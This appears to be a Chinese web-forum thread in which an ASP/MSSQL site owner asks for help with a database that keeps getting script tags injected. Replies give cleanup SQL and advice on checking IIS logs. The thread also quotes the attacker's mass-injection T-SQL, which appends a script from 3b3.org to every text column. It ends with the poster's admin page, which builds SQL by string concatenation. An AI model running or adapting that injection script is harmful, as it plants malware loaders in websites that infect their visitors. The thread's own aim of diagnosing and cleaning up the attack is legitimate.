现有一个ASP+mssql的网站,被挂马了,将里面一个表中的ntext字段挂马挂马,“<script src=http://木马地址></script>”,的方式是,不断地修改该字段的值,直接加在最后的,时间长了,可以看到该字段中有很多个连续的“<script src=http://木马地址></script>”,也看了网上的一些解决办法,但试了没有,比如说将原来的ID字段已经改成其他名字了,表名也改了,但仍然是一会又被挂上了,而且对传入的ID值也进行了判断,即将原来的
id=request("ID")都 改成了aaa_id=cint(request("ID")),同时将表中的ID字段名改成了aaa_id,还是很快被挂马
真不知如何解决了。
数据库中有很多表中都 有ntext类型的字段,但现在就只发现有一个表中老是被挂马。
这倒底是怎么回事?
id=request("ID")都 改成了aaa_id=cint(request("ID")),同时将表中的ID字段名改成了aaa_id,还是很快被挂马
真不知如何解决了。
数据库中有很多表中都 有ntext类型的字段,但现在就只发现有一个表中老是被挂马。
这倒底是怎么回事?
怎么删掉?
--sql 2000解决方法
DECLARE @fieldtype sysname
SET @fieldtype='varchar'--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
--sql 2005 解决方法
declare @t varchar(255),@c varchar(255)
declare table_cursor cursor for
select a.name,b.name from sysobjects a,syscolumns b
where a.iD=b.iD AnD a.xtype='u'
AnD (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
declare @str varchar(500)
--这里是你要替换的字符
set @str='<script_src=http://ucmal.com/0.js> </script>'
open table_cursor fetch next from table_cursor
into @t,@c while(@@fetch_status=0)
begin
exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')
fetch next from table_cursor into @t,@c
end
close table_cursor deallocate table_cursor;
http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html
关于如何通过 iis 日志找到注入点,网上搜索一下都可以找到。不过检查 iis 日志需要耐心和技巧。
参考里面的注入专题
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://3b3.org/c.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
<!--#include file="../n_conn.asp"-->
<!--#include file="adminkey.asp"-->
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<table width="840" border="0" cellpadding="0" cellspacing="1" bgcolor="#A3BFEB">
<tr>
<td height="25"> 您的位置:<a href="/n_admin/" target="_top">管理后台</a> > <%=webtitle%></td>
</tr>
<tr>
<td height="25" bgcolor="#FFFFFF"><table width="838" border="0" align="center" cellspacing="1" bgcolor="#999999">
<%if len(request("m_id"))<1 then
dlm_id=0
else
dlm_id=cint(request("m_id"))
end if
Set Rs1=Server.CreateObject("Adodb.Recordset")
rs1.Open "select * from dl_mb order by dlm_id",conn,1,1
%>
<tr>
<td height="25" align="center" bgcolor="#DDDDDD"> 栏目设置:<a href="dlmoban.asp?webtitle=代理模版">模版帮助</a> <%Do While Not Rs1.Eof%><%if rs1("dlm_id")-request("m_id")=0 then%>当前栏目 [ <font color="#FF0000"><b><%=rs1("m_biaoti")%></b></font> ] <%else%><a href="?m_id=<%=rs1("dlm_id")%>&webtitle=<%=rs1("m_biaoti")%>"><%=rs1("m_biaoti")%></a><%end if%> <%
Rs1.Movenext
loop%></td>
</tr>
<%
Rs1.close
set Rs1=nothing
%>
<tr>
<td height="23" align="center" bgcolor="#FFFFFF"><%if dlm_id=0 then%><table width="73%" border="0" cellspacing="20" cellpadding="0">
<tr>
<td style="line-height:150%"><font color="#0000FF"><b>代理模版说明:</b></font><br>
1、新开代理商的原始模样,请在此设置。<br />
2、每个代理商新开后,请尽快通知该代理商登陆自己的后台进行必要的设置。</td>
</tr>
</table><%else%>
<table width="70%" border="0" cellspacing="0" cellpadding="0">
<%
Set Rs=Server.CreateObject("Adodb.Recordset")
rs.Open "select * from dl_mb where dlm_id="&dlm_id&"",conn,1,1
%>
<form name="myform" method=post action='save.asp?ation=editmoban&m_id=<%=rs("dlm_id")%>&webtitle=代理商模版维护成功'>
<tr>
<td> </td>
</tr>
<tr>
<td>当前前维护栏目:<%=rs("m_biaoti")%> [ <a href="lookdlmb.asp?m_id=<%=rs("dlm_id")%>&webtitle=<%=rs("m_biaoti")%>" target="_blank">点击浏览该栏目</a> ]</td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td><INPUT type="hidden" name="m_nr1" value="<%=rs("m_nr1")%>"><iframe id="eWebEditor1" src="/n_dls/admin/eWebEditor/ewebeditor.asp?id=m_nr1&style=s_coolblue" frameborder="0" scrolling="no" width="760" height="500"></iframe></td>
</tr>
<tr>
<td> </td>
</tr>
<tr>
<td align="center"><input type="submit" name="Submit" value="提交更改" class="input"> <input type="reset" name="Submit2" value="重 置" class="input"></td>
</tr>
<tr>
<td> </td>
</tr>
</form>
<%
rs.close
set rs=nothing
%>
</table>
<%end if%></td>
</tr>
</table>
</td>
</tr>
</table>